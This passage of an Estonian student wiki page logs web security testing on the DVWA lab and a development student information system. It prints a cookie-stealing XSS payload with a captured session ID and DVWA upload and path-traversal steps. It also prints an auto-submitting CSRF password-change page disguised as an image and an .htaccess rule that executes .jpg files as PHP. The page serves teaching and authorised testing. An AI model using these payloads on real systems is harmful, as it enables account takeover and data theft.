    this.document.location.href  = „http://127.0.0.1/varastatud_sess_id/ + document.cookie.match(/PHPSESSID=[^;\]+/);&lt;br /&gt;
    &amp;lt;/script&amp;gt;&lt;br /&gt;
    &amp;lt;li&amp;gt;Saab kohe enda veebiserveri logidest näha  Session ID’d. &lt;br /&gt;
&amp;lt;br&amp;gt;Näide logist:&amp;lt;/li&amp;gt;&lt;br /&gt;
    /var/log/apache2/access.log&lt;br /&gt;
    127.0.0.1 - - [27/Mar/2012:09:06:31 -0400] &amp;quot;GET /varastatud_sess_id/PHPSESSID=51dc79948ee4cd23e6f8160ef2b57945 HTTP/1.1&amp;quot; 404 404 &amp;quot;-&amp;quot;                  &amp;lt;br&amp;gt;  &amp;quot;Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.11) Gecko/20101013 Ubuntu/9.04 (jaunty) Firefox/3.6.11&amp;quot;&lt;br /&gt;
&amp;lt;li&amp;gt;Tuleb ründajal lisada endale uus cookie saabunud Session ID’ga ja peakski olema võimalik teise inimese sessioon üle võtta.&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Sanderi tegevus ===&lt;br /&gt;
[[File:DVWA_upload.png|150px|thumb|DVWA Upload]]&lt;br /&gt;
&lt;br /&gt;
SamuraiWTF kasutamine testimiseks: DVWA (Damn Vulnerable Web Application).&lt;br /&gt;
==== Faili üleslaadimine: madal tase ====&lt;br /&gt;
&amp;lt;ul&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;&amp;lt;b&amp;gt;DVWA Security&amp;lt;/b&amp;gt; määrata: Low -&amp;gt; Submit&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Valida: Upload&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Üles laadida saab suvalisi faile: *.php, *.html, *.jpg, .htaccess&amp;lt;/li&amp;gt;&lt;br /&gt;
  Üleslaetavasse *.php faili saab kirjutada php koodi:&lt;br /&gt;
    &amp;lt;?php var_dump($_REQUEST, $_SERVER); ?&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Minnes üleslaetava *.php faili asukohta veebilehitsejas http://dvwa/hackable/uploads/*.php käivitatakse skript ja tagastatakse kõik küsitav:&amp;lt;/li&amp;gt;&lt;br /&gt;
  esimeses massiivis &amp;quot;PHPSESSID&amp;quot; (&amp;quot;2b1ae19446cfde009664f18df51b6ec1&amp;quot;) ja turvatase &amp;quot;security&amp;quot; (&amp;quot;low&amp;quot;);&lt;br /&gt;
  teises &amp;quot;HTTP_COOKIE&amp;quot;, milles on eelnevadki andmed; asukoht &amp;quot;PATH&amp;quot;, &amp;quot;SERVER_SOFTWARE&amp;quot;, &amp;quot;SERVER_NAME&amp;quot;,&lt;br /&gt;
    &amp;quot;SERVER_ADDR&amp;quot; (&amp;quot;127.42.84.1&amp;quot;), &amp;quot;SERVER_PORT&amp;quot; (&amp;quot;80&amp;quot;), &amp;quot;REMOTE_ADDR&amp;quot; (&amp;quot;127.42.84.1&amp;quot;), &amp;quot;REMOTE_PORT&amp;quot; (&amp;quot;53425&amp;quot;) jpm.&lt;br /&gt;
&amp;lt;/ul&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Faili üleslaadimine: keskmine tase ====&lt;br /&gt;
&amp;lt;ul&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;&amp;lt;b&amp;gt;DVWA Security&amp;lt;/b&amp;gt; määrata: Medium -&amp;gt; Submit&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Valida: Upload&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Üles laadida ei saa näiteks järgnevates formaatides faile:&amp;lt;/li&amp;gt;&lt;br /&gt;
  .htaccess&lt;br /&gt;
  .php	.html	.pdf&lt;br /&gt;
  .gif	.png	.bmp&lt;br /&gt;
  .svg	.swf&lt;br /&gt;
  .tif	.tiff	.exif&lt;br /&gt;
  .raw	.cgm&lt;br /&gt;
&amp;lt;li&amp;gt;Üles laadida saab kõiki .jpg-lõpulisi faile (ka *.php.jpg, mitte *.jpg.php)&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Üleslaetavasse *.jpg faili saab kirjutada php koodi.&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Minnes üleslaetava *.jpg faili asukohta veebilehitsejas, ei käivitata skripti, vaid tagastatakse faili asukoha aadress:&amp;lt;/li&amp;gt;&lt;br /&gt;
  http://dvwa/hackable/uploads/*.jpg&lt;br /&gt;
&amp;lt;li&amp;gt;Skripti käivitamiseks tuleb kasutada &amp;quot;?page=&amp;quot; ja faili asukoht:&amp;lt;/li&amp;gt;&lt;br /&gt;
  http://dvwa/vulnerabilities/fi/?page=../../hackable/uploads/*.jpg&lt;br /&gt;
Kuvatakse php skripti tulemus.&lt;br /&gt;
  Kommentaar: &amp;quot;?page=&amp;quot; kasutamine võetud menüüvalikust: &amp;lt;b&amp;gt;File Inclusion&amp;lt;/b&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;&amp;quot;?page=&amp;quot; abil saab vaadata kasutajate nimesid:&amp;lt;/li&amp;gt;&lt;br /&gt;
  http://dvwa/vulnerabilities/fi/?page=../../../../../etc/passwd&lt;br /&gt;
&amp;lt;li&amp;gt;Paroole vaadata ei saa, selleks õigused puuduvad:&amp;lt;/li&amp;gt;&lt;br /&gt;
  http://dvwa/vulnerabilities/fi/?page=../../../../../etc/shadow&lt;br /&gt;
&amp;lt;/ul&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Faili üleslaadimine: kõrge tase ====&lt;br /&gt;
&amp;lt;ul&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;&amp;lt;b&amp;gt;DVWA Security&amp;lt;/b&amp;gt; määrata: High -&amp;gt; Submit&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Valida: Upload&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Üles laadida saab kõiki .jpg-lõpulisi faile (ka *.php.jpg, mitte *.jpg.php)&amp;lt;/li&amp;gt;&lt;br /&gt;
  Üleslaetavasse *.jpg faili saab kirjutada php koodi.&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Minnes üleslaetava *.jpg faili asukohta veebilehitsejas, ei käivitata skripti, vaid tagastatakse faili asukoha aadress.&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Skripti käivitamiseks ei piisa ka &amp;quot;?page=&amp;quot; kasutamisest. Igal juhul on vastus selline:&amp;lt;/li&amp;gt;&lt;br /&gt;
  ERROR: File not found!&lt;br /&gt;
&amp;lt;li&amp;gt;Kasutada tuleks kuueteistkümnendkoodi, mille saab moodustada näiteks sellel aadressil:&amp;lt;/li&amp;gt;&lt;br /&gt;
  http://www.motobit.com/util/base64-decoder-encoder.asp&lt;br /&gt;
&amp;lt;li&amp;gt;Moodustades loodud faili asukohast kood ja kasutades&amp;lt;/li&amp;gt;&lt;br /&gt;
  data:php/html;base64,aHR0cDovL2R2d2EvaGFja2FibGUvdXBsb2Fkcy91cGxvYWQyLmpwZw==&lt;br /&gt;
üritatakse seda arvutisse salvestada. Salvestamisel .part-nimelise faili, on selle sisuks samuti lihtsalt faili asukoht veebis:&lt;br /&gt;
  http://dvwa/hackable/uploads/*.jpg&lt;br /&gt;
&amp;lt;/ul&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== 3. päev - Dev-ÕIS&#039;i turvatestimine==&lt;br /&gt;
&lt;br /&gt;
=== Alo tegevus ===&lt;br /&gt;
[[File:PDFHinneteleht.png|200px|thumb|right|Näide hinnetelehest]]&lt;br /&gt;
Kui testisime failide uploadimis võimalusi tuli idee testida ka failide allalaadimist.&amp;lt;br&amp;gt;&lt;br /&gt;
Faile saab alla laadida enda profiili all õppesooritustes.&amp;lt;br&amp;gt;&lt;br /&gt;
Seal on võimalik alla laadida nii .pdf kui ka .odt formaadis õppesooritusi.&amp;lt;br&amp;gt;&lt;br /&gt;
Allalaadimis Urli muutmisega oli võimalik alla laadida teiste kasutajate õpitulemusi.&amp;lt;br&amp;gt;&lt;br /&gt;
Õpitulemused sisaldasid lisaks tulemustele ka inimese isikukoodi.&amp;lt;br&amp;gt;&lt;br /&gt;
Kui oleks soovinud õpitulemusi alla laadida kindla kasutaja õpitulemusi oleks saanud õpilase id kätte tema profiili pildi id kaudu.&amp;lt;br&amp;gt;&lt;br /&gt;
Kuna see oli tõsine turvaauk ja õpilaste andmed on konfidentsiaalsed täiendati url accessi nii, et enam üks õpilane teise inimese andmetele ligi ei pääseks.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Urmo tegevus ===&lt;br /&gt;
====Subgraph Vega ====&lt;br /&gt;
Subgraph Vega on beeta staadiumis olev vabavaraline veebiapplikatsioni nõrkuste skänner, proxy ja platvorm.&lt;br /&gt;
Selle tööriistaga annab välja otsida SQL injectionit võimaldavad kohad, Cross-Site-Scriptingut, URL injection jne võimaldavaid nõrkusi veebilehel.&lt;br /&gt;
Programm on Java põhine graafilise liidesega ja töötab Linux&#039;i, OS X ja Windowsi peal.&lt;br /&gt;
&lt;br /&gt;
[[File:Screenshot_vega1.png|200px|thumb|right|Subgraph Vega screenshot]]&lt;br /&gt;
Päeva alguses sai hakatud katsetama seda ÕISi arenduskeskkonna peal.&lt;br /&gt;
&lt;br /&gt;
Alustasime uut skänni (Start New Scan).&lt;br /&gt;
Küsitakse URI, milleks andsime https://itcollege.dev.ois.ee ja Next.&lt;br /&gt;
&lt;br /&gt;
Järgnevalt on vaja anda kätte sisselogitud kasutaja cookie ja vajadusel lisada kindlate linkide välistamise regullaar avaldised. &lt;br /&gt;
&lt;br /&gt;
Me lisasime ainult küpsise (cookie) sisu: &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
itcollege_OIS_SESSION_ID=sellecookiesisu1234563221&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
ning Finish.&lt;br /&gt;
&lt;br /&gt;
[[File:Screenshot_vega2.png|200px|thumb|right|Subgraph Vega screenshot ühe leitud nõrkusega]]&lt;br /&gt;
Järgnevalt ta hakkab skännima ette antud veebilehte ja kui küpsise info ning aadress on õige, siis ta suudab sisselogimisest mööda saada ilusti ja saab uurima hakata, kus võimalikud vead võivad olla. Tegutsemine võttis suhteliselt kaua aega (u. 30minutit).&lt;br /&gt;
&lt;br /&gt;
Katkestasime skännimise ära, kui ta oli umbes 15000 objektist ära skänninud umbes 12000. &lt;br /&gt;
&lt;br /&gt;
Selleks ajaks oli Vega leidnud kõrgema tasemega Cross Site Script&#039;ingu nõrkusi 58, keskmise tasemega Absolute Path nõrkusi 2, ja lihtsalt informatsiooniks 6 tühja element Body  nõrkust.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Uurides leitud Cross Site Scriptingu leitud nõrkusi, saime aru, et tegu on selliste aadressitega, milles veebilehed kasutavad aadressirealt saadud ID&#039;sid ja parameetreid ära oma pealkirjades.&lt;br /&gt;
Õnneks parameetritega väljad olid veebilehel korralikult ära escape&#039;itud ja saniteeritud, et suhteliselt võimatu oli saada mõnda scripti sinna sisse panna, et veebileht midagi teistmoodi teeks.&lt;br /&gt;
&lt;br /&gt;
ID väljade osas aga ei olnud kaitstud üks link, mille avastas Alo ennem mind.&lt;br /&gt;
&lt;br /&gt;
==== Wapiti ====&lt;br /&gt;
Proovisime ära ka Backtrack 5 R2 tööriista Wapiti. &lt;br /&gt;
(Koduleht: http://wapiti.sourceforge.net/)&lt;br /&gt;
&lt;br /&gt;
Kahjuks ei saanud seda tööriista kasutada dev-ÕISi pihta, kuna see tööriist ei osanud HTTPS&#039;iga midagi teha.&lt;br /&gt;
&lt;br /&gt;
==== CSRF käsitsi rünne HTML/PHP/JAVASCRIPTiga====&lt;br /&gt;
=====1. katse - ÕISi keskkkonna keelevahetus =====&lt;br /&gt;
[[File:Keeleseaded.png|thumb|200px|right|ÕISi keeleseadete menüü]]&lt;br /&gt;
&lt;br /&gt;
Päeva esimeses pooles sai avastatud, et dev-ÕISi kasutaja keskkonna keelt saab muuta, kui mõnelt väliselt veebilehelt saata vastav POST päring lingile, mis muudab keelte seadistust.&lt;br /&gt;
&lt;br /&gt;
Võtsime dev-ÕIS&#039;i Source Code&#039;ist välja vastava formi osa ja panime eraldi html faili.&lt;br /&gt;
Koristasime mittevajaliku disaini koodi juurest ära.&lt;br /&gt;
Muutsime form&#039;i action väärtust pannes olemasoleva ette https://itcollege.dev.ois.ee/ osa ehk oleks absoluutne aadress relatiivse asemel.&lt;br /&gt;
Teises fieldis, kus oli vaja määrata keele tähistus, mida saadetaks, panime väärtuseks &amp;quot;en&amp;quot; ehk inglise keelne keskkond tekiks.&lt;br /&gt;
Panime koodi enose veebiserverisse üles nimega ois.html.&lt;br /&gt;
&lt;br /&gt;
Faili sisu:&lt;br /&gt;
&amp;lt;source lang=&amp;quot;html4strict&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;form id=&amp;quot;settingsForm&amp;quot; method=&amp;quot;post&amp;quot; action=&amp;quot;https://itcollege.dev.ois.ee/setting/edit?user_id=2198&amp;quot; &lt;br /&gt;
enctype=&amp;quot;application/x-www-form-urlencoded&amp;quot;&amp;gt;&lt;br /&gt;
 &amp;lt;input type=&amp;quot;hidden&amp;quot; AUTOCOMPLETE=&amp;quot;off&amp;quot; name=&amp;quot;default_language&amp;quot;value=&amp;quot;en&amp;quot;&amp;gt;&lt;br /&gt;
    &amp;lt;br&amp;gt;&lt;br /&gt;
  &amp;lt;input type=&amp;quot;submit&amp;quot; value=&amp;quot;Salvesta seaded&amp;quot; name=&amp;quot;Savesettings&amp;quot;&amp;gt;&lt;br /&gt;
    &amp;lt;/form&amp;gt;&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
Panime faili enda arvutis käima, tekkis vastav form ette, kus submit pannes päring jõudis õisi ja muudeti kogeselt ära keskkonna kasutaja keel.&lt;br /&gt;
&lt;br /&gt;
Katsetas koodi enda konto peal Taavi.&lt;br /&gt;
&lt;br /&gt;
=====2. katse - ÕIS&#039;i kasutaja parooli muutmine =====&lt;br /&gt;
&lt;br /&gt;
[[File:Salasona_ois.PNG|200px|thumb|right|Dev_OIS salasõna muutmisvorm]]&lt;br /&gt;
Otsustasime proovida, kas CSRF nõrkust annaks ära kasutada ka ÕISi administraatori pettes, kui saata talle pildi link, kus tegelikult taga jookseb HTML/JAVASCRIPT koos, mis saadab POST päringu salasõna muutmisega. Selle toimiseks oli eelduseks see, et rünnatav on ründamise hetkel juba dev-ÕISi sisselogitud.&lt;br /&gt;
&lt;br /&gt;
Selle jaoks uurisime välja, kus asub dev-ÕIS&#039;i kasutaja salasõna muutmise vorm ja kuhu saadetakse vormi sisu.&lt;br /&gt;
Vormilt võtsime lähtekoodist (Source Code) vastava koodi välja ja panime eraldi php faili.&lt;br /&gt;
&lt;br /&gt;
Muutsime password ja password_check lahtrite väärtused järgnevaks: &amp;quot;test123&amp;quot; ehk kasutaja uus parool peale rünnakut.&lt;br /&gt;
&lt;br /&gt;
Lahtrites muutsime user_id&#039;d sisaldavad väärtused rünnatava kasutaja user_id vastu, mille saab kätte tudengite/vilistlaste/õppejõudude piltide aadressidelt kätte.&lt;br /&gt;
&lt;br /&gt;
Kõik vormi lahtrite tüübid määrasime peidetud ehk &amp;quot;hidden&amp;quot;, et poleks midagi näidata. &lt;br /&gt;
&lt;br /&gt;
Kuna parooli muutmise formil on küljes ka continue parameeter, mis näitab seda, kuhu kasutaja viiakse peale parooli muutmist. &lt;br /&gt;
Selle muutsime väljalogimise lingiks, et peale POST päringu tegemist suunatakse kasutaja väljalogimise lehele.&lt;br /&gt;
Sellisel juhul ei tule ette teadet, et parooli just muudeti kuskil ja kasutaja enam ei saa oma vana parooliga sisse logida.&lt;br /&gt;
&lt;br /&gt;
Lisasime CSS koodi Submit nupu ära peitmiseks. &lt;br /&gt;
JavaScript koodi, et kui leht on laetud, siis automaatselt vajutataks seda nähtamatut Submit nuppu, et brauser saadaks HTML POST päringu ÕISi poole teele.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Salvestasime faili ära kui &amp;quot;screen1.jpg&amp;quot; fail. Ohver arvab, et tegu on pildiga, kui saadame lingi ja seda veel usaldusväärse aadressi pealt.&lt;br /&gt;
Tegelikult kasutaja ei näe praegu ühtegi pilti ja suunatakse edasi.&lt;br /&gt;
&lt;br /&gt;
Faili sisu:&lt;br /&gt;
&amp;lt;source lang=&amp;quot;html4strict&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;html&amp;gt;&lt;br /&gt;
 &amp;lt;head&amp;gt;&lt;br /&gt;
  &amp;lt;style type=&amp;quot;text/css&amp;quot;&amp;gt;&lt;br /&gt;
	  #Setpassword{ width: 0px; height: 0px; border: none; padding: 0; margin: 0; }&lt;br /&gt;
  &amp;lt;/style&amp;gt;&lt;br /&gt;
 &amp;lt;/head&amp;gt;&lt;br /&gt;
 &amp;lt;body&amp;gt;&lt;br /&gt;
  &amp;lt;body onload=&amp;quot;document.forms.setPasswordForm.submit();&amp;quot;&amp;gt;&lt;br /&gt;
  &amp;lt;form name=&amp;quot;setPasswordForm&amp;quot; id=&amp;quot;setPasswordForm&amp;quot; &lt;br /&gt;
  action=&amp;quot;https://itcollegedev.ois.ee/et/user/set-own-password?user_id=2227&amp;amp;amp;continue=/auth/logout&amp;quot;  &lt;br /&gt;
  method=&amp;quot;post&amp;quot;&amp;gt;&lt;br /&gt;
   &amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;user_id&amp;quot; value=&amp;quot;2227&amp;quot; id=&amp;quot;user_id&amp;quot; /&amp;gt;&lt;br /&gt;
   &amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;continue&amp;quot; value=&amp;quot;%2Fet%2Fsetting%3Fuser_id%3D2227&amp;quot; id=&amp;quot;continue&amp;quot; /&amp;gt;&lt;br /&gt;
   &amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;password&amp;quot; id=&amp;quot;password&amp;quot; value=&amp;quot;test123&amp;quot; /&amp;gt;&lt;br /&gt;
   &amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;password_check&amp;quot; id=&amp;quot;password_check&amp;quot; value=&amp;quot;test123&amp;quot; /&amp;gt;&lt;br /&gt;
   &amp;lt;input type=&amp;quot;submit&amp;quot; name=&amp;quot;Setpassword&amp;quot; id=&amp;quot;Setpassword&amp;quot; value=&amp;quot;Muuda salasõna&amp;quot; /&amp;gt;&lt;br /&gt;
  &amp;lt;/form&amp;gt;&lt;br /&gt;
 &amp;lt;/body&amp;gt;&lt;br /&gt;
&amp;lt;/html&amp;gt;&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:Admin_proof.PNG|200px|thumb|right|Ligisaadud adminpaneelile]]&lt;br /&gt;
&lt;br /&gt;
Tegime uue faili htaccess.txt, kuhu panime kirja käsu, mis käivitaks php ja jpg faile kui php failidena.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
AddType application/x-httpd-php .php .jpg&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Laadisime mõlemad failid Enose veebiserverisse avalikult. &lt;br /&gt;
&lt;br /&gt;
Tegime enda kontode peal katsed, et kõik toimiks nii nagu vaja ja ega probleeme ei teki. &lt;br /&gt;
Peale seda juhendaja Mart Manguse abiga saime ÕISi adminnile Valter Kunglale väikese test-rünnaku teha.&lt;br /&gt;
Mart Mangus üritas seletada, et hinnetelehel on midagi viga ja palus, et Valter vaataks asja üle. &lt;br /&gt;
Sellega saavutasime selle, et Valter logis dev-ÕISi sisse oma kontoga.&lt;br /&gt;
Valter ütles, et ta ei näe midagi viltu ja selle peale saatsime talle nii nimetatud screenshoti, mille taga oli tegelt meie koodiga screen1.jpg fail. &lt;br /&gt;
Kui see fail käivitati, siis Valter Kungla parool muudeti ära ja logiti süsteemist välja. &lt;br /&gt;
Tol hetkel, täpselt ennem väljalogimist ja ümbersuunamist, muutus tema parool meie pantud &amp;quot;test123&amp;quot;-ks ja me saime ligipääsu administraatori õigustes kontole. &lt;br /&gt;
Rünnak oli edukas.&lt;br /&gt;
[[File:Pass fixed.PNG|200px|thumb|right|Dev_OIS fixed]]&lt;br /&gt;
&lt;br /&gt;
Andsime teada Valterile teada, et tegelikult tegime salajase ründe. &lt;br /&gt;
Suhteliselt koheselt oli Valteril see CSRF ründe vastu dev-ÕIS ära parandatud, kuna tal oli juba koodiparandus olemas aga lihtsalt rakendamata ja me tabasime ajaliselt viimase hetke ära, kus seda rünnet sai teha. &lt;br /&gt;
Peale parandust enam see rünne läbi ei läinud ja süsteem hõiskab vastu, et tegu on ründe või mõne bug&#039;iga.&lt;br /&gt;
&lt;br /&gt;
Kuna tegu oli ÕIS&#039;i arendusversiooniga, siis oli serveris oli lubatud ka error_reporting, mis annab välja ka pildil oleva errorite jada.&lt;br /&gt;
Error Reporting on maha keeratud Live keskkonnas ja seal sellist pikka keerulist koodijada veateadetega ette ei tule ning saadetakse teade arendajatele automaatselt.&lt;br /&gt;
&lt;br /&gt;
=== Taavi tegevus ===&lt;br /&gt;
====Burp suite====&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Esimese asjane peale Burp suite käivitamist. Tabilt proxy  -&amp;gt;intercept -&amp;gt;intercept off&amp;lt;br&amp;gt;&lt;br /&gt;
Järgnevalt seadistada proxy enda veebiprauserist (mõistlik panna localhost aadress 127.0.0.1 port 8080 ning lülitada sisse ka ssl proxy)&amp;lt;br&amp;gt;&lt;br /&gt;
Proxy  -&amp;gt; options alt lülitada sisse proxy listner pordile 8080 .&amp;lt;br&amp;gt;&lt;br /&gt;
Ohvri valimine &amp;lt;br&amp;gt;&lt;br /&gt;
Valida intruder -&amp;gt; target ning sinna sisestada veebileht mida on plaanis uurida https lehe korral lülitada sisse ssl ning pordiks valida 443.&amp;lt;br&amp;gt;&lt;br /&gt;
Kui on tarvis lehte ka sisse logituna uurida siis tuleb seadistada järgmised parameetrid.&amp;lt;br&amp;gt;&lt;br /&gt;
Valida Options tab sealt sisse lülitada www authentication ning täita all olevad read.&amp;lt;br&amp;gt;site mida rünnatakse tema tüüp(üldiselt basic), login, parool ning valida add.&lt;br /&gt;
Kui on soov sooritada veebilehe sipderingi siis tuleb excludida ka logout käsud.&amp;lt;br&amp;gt;&lt;br /&gt;
Targer-&amp;gt;scope -&amp;gt; exclude  frome scope ja veenduda at välja on arvatud logout laused.&amp;lt;br&amp;gt;&lt;br /&gt;
Spideringi sisselülitamine &amp;lt;br&amp;gt;&lt;br /&gt;
Valida tab Spide ning sealt panna linnuke kasti spider running.&amp;lt;br&amp;gt;&lt;br /&gt;
Ning oledki valmis saama laheküljelt infot.&amp;lt;br&amp;gt;&lt;br /&gt;
Tööriistal on veel tohutu hulk seadistus võimalusi, aga kahjuks ajanappuse tõttu ei jõudnud nende kõikidega tutvuda.&amp;lt;br&amp;gt;&lt;br /&gt;
Tööriis ei ole mõeldud algajatele, kuid teda tundma õppides on võimailik sooritada keerukaid operatsioone. Suurim nõrkus sellel programmil on see, et ta otsing ei näita ära nõrkasid kohti veebilehel vaid need tuleb ise koodist ülesse otsida.&lt;br /&gt;
&lt;br /&gt;
====Nessuse algkäivitamine====&lt;br /&gt;
Valida backtrackist  vulnerability scannerite alt nessus ning edasi nessus register .&amp;lt;br&amp;gt; Täite ära vajalikud read veebilehel ning mailile saadetakse aktiveerimis kood.&amp;lt;br&amp;gt; Järgnevalt avada termnal ning sisestada käsk : /opt/nessus/bin/nessus –fetch –register **********(tärnide asemele meilile saadetud kood)&amp;lt;br&amp;gt;&lt;br /&gt;
Nüüd läheb aega kuni nessus updatedakse (ole valmis ootama võtab tükk aega.)&amp;lt;br&amp;gt;&lt;br /&gt;
Järgnevalt käivitada nessus user add ning sinna sisestada soovitav kasutajanimi nessusele, kui küsitakse kas admin konto siis sisestada y. Kõik on korras kui tuleb ette kiri user added.&amp;lt;br&amp;gt;&lt;br /&gt;
Järgnevalt valida nessus start.&amp;lt;br&amp;gt;&lt;br /&gt;
Et nessusesse siseneda veebibrauseri URL i kirjutada 127.0.0.1:8834 &lt;br /&gt;
Siis avaneb leht kus tuleb vajutada lehe alaosas olevale lingile mis suunab https leheküljele.&amp;lt;br&amp;gt;&lt;br /&gt;
Antud tööriist ei ole just kõige sobilikum veebilehtede testimiseks.&lt;br /&gt;
&lt;br /&gt;
=== Matise tegevus ===&lt;br /&gt;
&lt;br /&gt;
====Väike upload tegevus, mis võiks olla teisiti====&lt;br /&gt;
Ajal mil on avatud stipendiumi taotlemine on võimalik uploadida üles dokumente, et anda lisainformatsiooni abitoetuse taotlemiseks.&lt;br /&gt;
Testimisel selgus, et hetkel üles on võimalik üles laadida ükskõik mis laiendiga faile.&lt;br /&gt;
Proovisime üles laadida: &lt;br /&gt;
&amp;lt;li&amp;gt;filmi&lt;br /&gt;
&amp;lt;li&amp;gt;exe &lt;br /&gt;
&amp;lt;li&amp;gt;jpm faile &lt;br /&gt;
&amp;lt;br&amp;gt;kõik läks läbi ja sai uploadida.&lt;br /&gt;
&amp;lt;br&amp;gt;Sellises kohas võiks olla süsteem tehtud &amp;lt;b&amp;gt;whitelisti&amp;lt;/b&amp;gt; põhimõttel,&lt;br /&gt;
&amp;lt;br&amp;gt;et lubatud oleks ainult: &lt;br /&gt;
&amp;lt;li&amp;gt;.doc &lt;br /&gt;
&amp;lt;li&amp;gt;.docx &lt;br /&gt;
&amp;lt;li&amp;gt;.pdf &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Sanderi tegevus ===&lt;br /&gt;
[[File:W3af skanner.png|150px|thumb|w3af skänni seaded]]&lt;br /&gt;
Backtarcki keskkonnas sai testitud programmi w3af.&lt;br /&gt;
&lt;br /&gt;
==== Backtrack: w3af ====&lt;br /&gt;
[[File:Basic HTTP Auth.png|150px|thumb|w3af Basic HTTP Auth]]&lt;br /&gt;
[[File:ÕISi küpsis.png|150px|thumb|Mozilla Firefox küpsis]]&lt;br /&gt;
[[File:W3af_Cookie.png|150px|thumb|w3af Cookie]]&lt;br /&gt;
Võimalik kätte saada SSL Certificate.&lt;br /&gt;
Aadressiribalt leitud sisselogimis-aadressiga sisse logimine ei õnnestunud:&lt;br /&gt;
  https://itcollege.dev.ois.ee/auth/login?continue=/auth/login?&lt;br /&gt;
  username=&amp;lt;font color=&amp;quot;red&amp;quot;&amp;gt;KASUTAJANIMI&amp;lt;/font&amp;gt;&amp;amp;continue=&amp;amp;Login=Logi sisse&amp;amp;pw=&amp;lt;font color=&amp;quot;red&amp;quot;&amp;gt;PAROOL&amp;lt;/font&amp;gt;&lt;br /&gt;
Programmi sisestatud andmetega ka mitte:&lt;br /&gt;
  Configuration -&amp;gt; HTTP Config -&amp;gt; Basic HTTP Authentication:&lt;br /&gt;
    basicAuthUser: &amp;lt;font color=&amp;quot;red&amp;quot;&amp;gt;KASUTAJANIMI&amp;lt;/font&amp;gt;&lt;br /&gt;
    basicAuthPass: &amp;lt;font color=&amp;quot;red&amp;quot;&amp;gt;PAROOL&amp;lt;/font&amp;gt;&lt;br /&gt;
    basicAuthDomain: http://itcollege.dev.ois.ee&lt;br /&gt;
Mozilla Firefoxi küpsis õnnestus luua Töölauale hetkel sisse logitud sessiooni ID-ga. Programmi küpsise sisestamine:&lt;br /&gt;
  Configuration -&amp;gt; HTTP Config -&amp;gt; Cookies&lt;br /&gt;
    cookieJarFile: /root/Desktop/&amp;lt;font color=&amp;quot;red&amp;quot;&amp;gt;ois_cookie.txt&amp;lt;/font&amp;gt;&lt;br /&gt;
Seda loodud sessiooni ID-ga küpsist kasutada algul ei õnnestunud. Ilmselt oli midagi valesti. Õige on:&lt;br /&gt;
  # Netscape HTTP Cookie File&lt;br /&gt;
  .dev.ois.ee	TRUE	/	FALSE	1731510001	itcollege_OIS_SESSION_ID	&amp;lt;font color=&amp;quot;red&amp;quot;&amp;gt;870aqllryuw3cmf6cv8ellha03&amp;lt;/font&amp;gt;&lt;br /&gt;
Esimene rida on nõutav! Teiste tähendused:&lt;br /&gt;
  domain - The domain that created and that can read the variable.&lt;br /&gt;
  flag - A TRUE/FALSE value indicating if all machines within a given domain can access the variable.&lt;br /&gt;
    This value is set automatically by the browser, depending on the value you set for domain.&lt;br /&gt;
  path - The path within the domain that the variable is valid for.&lt;br /&gt;
  secure - A TRUE/FALSE value indicating if a secure connection with the domain is needed to access the variable.&lt;br /&gt;
  expiration - The UNIX time that the variable will expire on.&lt;br /&gt;
  name - The name of the variable.&lt;br /&gt;
  value - The value of the variable.&lt;br /&gt;
Küpsis on leitav Mozilla Firefoxis peale itcollege.dev.ois.ee-s oma kasutajaga sisse logimist:&lt;br /&gt;
  Edit -&amp;gt; Preferences -&amp;gt; Privacy -&amp;gt; History -&amp;gt; remove individual cookies&lt;br /&gt;
    Search: itcollege.dev.ois.ee&lt;br /&gt;
    Leitud valiku all Cookie Name: itcollege_OIS_SESSION_ID&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Skänneerimine:&lt;br /&gt;
&amp;lt;ul&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;The page language is: en&amp;lt;/li&amp;gt;&lt;br /&gt;
